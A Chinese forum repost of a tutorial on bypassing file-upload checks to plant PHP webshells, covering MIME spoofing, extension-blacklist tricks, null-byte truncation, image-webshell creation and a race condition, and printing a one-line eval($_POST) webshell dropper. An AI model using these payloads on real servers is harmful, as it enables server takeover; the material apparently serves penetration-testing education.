本帖最后由 Grav1ty 于 2021-11-16 00:31 编辑
原文链接:文件上传漏洞的几种绕过姿势
一、文件上传漏洞介绍
文件上传漏洞:在网站上传普通文件的位置,未对上传的文件进行严格的验证和过滤,导致可以通过绕过上传机制上传任意文件。进而导致用户可以通过上传WebShell(与网站后端语言一致)并执行从而控制服务器
文件上传漏洞的必备条件:
文件上传功能能正常使用:能够通过绕过上传机制上传想要上传的文件 上传文件保存的路径可知:上传文件时,网页通常会带有一个返回显示上传的文件,可以通过查看网页元素的方式查看 上传文件可以被访问:可以通过文件的路径访问到改文件 上传文件可以被解析:访问该文件时,不会将源码作为网页元素直接输出
3.检测上传文件的方式:
客户端Javascript检测:检测文件的扩展名
服务端MIME类型检测:在服务端中,使用_FILES访问文件信息,检测POST报文content-type字段的内容(存储在FILES访问文件信息,检测POST报文content−type字段的内容(存储在_FILES[按钮的name属性值][type]中)
服务端文件扩展名检测:检测跟文件extension相关的内容
服务端文件内容检测:检测内容是否合法、是否含有恶意代码等
二、绕过方法
① - 客户端Javascript检测
在浏览器中禁用网页的Javascript权限即可
② - 服务端MIME类型检测
使用Burp抓包,更改POST报文中的content-type字段的内容
若表单由多个数据(多部分实体),则需要使用boundary指定分隔符,用于封装消息的多个部分的边界,存储在报文主体中。需要更改的content-type字段也不是报文首部的content-type字段,而是存储在报文主体中对应上传文件的content-type字段

③ - 黑名单检测(文件扩展名检测)
黑名单:代码文件中包含一个数组或列表,其值为一些非法字符或字符串,当数据报包含有符合该列表的字符串时,就认定该数据包是非法的
确认黑名单的方法:随意构造一个必定不在列表中的数据包,若能上传则说明是黑名单检测
绕过姿势:通过抓包修改后缀名 - 利用后缀大小写进行绕过:Windows中对大小写是不敏感的
- 利用空格绕过:Windows在保存文件时,会自动去除末尾的空格
- 利用 . 绕过:Windows在保存文件时,会自动去除末尾的 .
- 利用::$DATA绕过:在Windows中,如果文件名 + ::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名
- 利用双写后缀绕过:有些代码中,会将数据包中符合黑名单列表的字符串替换为空,而不会直接报错。这就导致了在上传成功后,访问不到之前上传的文件(因为文件后缀被替换为空)
复制代码
【几种特殊的绕过方式】
利用.htaccess文件绕过:只作用于Apache服务器

替换.php后缀为其它后缀进行绕过:需要进行配置(Linux配置中默认是打开的;而Apache配置中是需要自行添加的),一般替换为.phtml
示例:
- 我们以test.php为例
- 利用大小写绕过:test.php → test.PhP
- 利用空格绕过::test.php → test.php + 空格
- 利用.绕过::test.php → test.php.
- 利用::$DATA绕过:test.php → test.php::$DATA
- 利用双写后缀绕过:test.pphphp
- 替换为其它后缀绕过:test.php → test.phtml
- 这几种绕过方式可以一起使用:test.php → test.php. .
复制代码④ - 白名单检测(文件扩展名检测) 白名单:代码文件中包含一个数组或列表,其值为所有合法字符或字符串,当数据包中含有不符合该列表的字符串时,就认定该数据包是非法的 确认白名单的方法:随意构造一个必定不在列表中的数据包,若不能上传则说明是白名单检测 绕过姿势:服务端判断文件类型是从后往前判断,而文件解析是从后往前解析,故可以利用00截断的方式进行绕过
前提:php版本小于5.3.29,且php.ini中的magic_quotes_gpc为OFF状态
- %00截断【/upload →/upload/1.php%00】
- 原理:当url中出现了%00就会认为读取已经结束
- 利用:在POST请求行后的URI后加上WebShell的文件名,并以%00结束。在之后移动文件的时候将会让路径名与文件名拼接,%00的出现会自动忽略之后的文件名,并以URI后加上WebShell的文件名的形式储存文件
- 示例:/upload/1.png→/upload/1.php%00/1.png→等效于将文件存储为/upload/1.php
- 步骤:首先,更改WebShell的后缀名,使其能够上传;然后,上传Webshell并抓包,修改POST请求行中的URI
- 0x00截断
- 原理:当url中出现了0x00就会认为读取已经结束
- 利用:若文件的保存路径通过表单传参,则需要在保存路径参数后加上WebShell的文件名,并以0x00结束。在Burp中修改时,需要使用Hex模块,添加00【可以在需要添加00的地方加上空格,再在Hex模块中找到添加空格的位置(空格的十六进制编码为20),将其替换为00】
- 步骤:首先,更改WebShell的后缀名,使其能够上传;然后,上传Webshell并抓包,修改表单传递的路径参数
复制代码 ⑤ - 文件内容检测通过开头的文件幻数进行检测:判断文件开头的前10个字节,基本就能判断出一个文件的真实类型 
- 大部分文件的文件幻数都含有不便于输入的特殊字符,而gif图的文件幻数为GIF89a,可以方便地利用
复制代码 常见的文件幻数标记

绕过方法
- 1.使用16进制编辑器打开一个图片(使用的图片文件越小越好),在图片后面插入WebShell,且文件的扩展名应该与WebShell的类型对应
- 2.在WebShell前插入符合伪装文件类型的文件幻数
- 3.在cmd下执行:copy 01.png/b + test.php/a shell.jpg,制作图片马
- csdn.net/qq_52643498/article/details/120238839
复制代码 ⑥ - 利用条件竞争绕过文件删除(针对不规范的上传流程)
[color=rgba(0, 0, 0, 0.75)]
不规范的上传流程:若服务器在获取第二次请求后,是先移动文件至指定目录,再判断文件是否有效,若无效,则删除,则可以使用 条件竞争:多个线程或进程在读写一个共享数据时结果依赖于它们执行的相对时间 漏洞利用原理:利用php代码生成新的webshell文件,在此代码未被删除之前,访问它,则可以添加webshell文件至服务器
- # webshell示例
- <?php
- fputs(fopen('01.php','w'), '<?php @eval($_POST["pass"]); ?>');
- ?>
- /*
- >fputs:fwrite的别名,写入文件;fopen:打开文件,若不存在,则创建
- >相当于创建一个新的webshell
- >贼坑人的点,再写入数据的时候需要使用单引号包裹,因为使用双引号会解析里面的$变量
- */
复制代码
- 创建生成webshell代码的php文件
- 使用burp的空字典爆破功能上传该文件
- 使用burp的空字典爆破功能访问上传的文件
- 等待一段时间,若步骤3出现200 OK状态码,则可以停止
- 在文件保存的目录下,会出现webshell文件
复制代码
|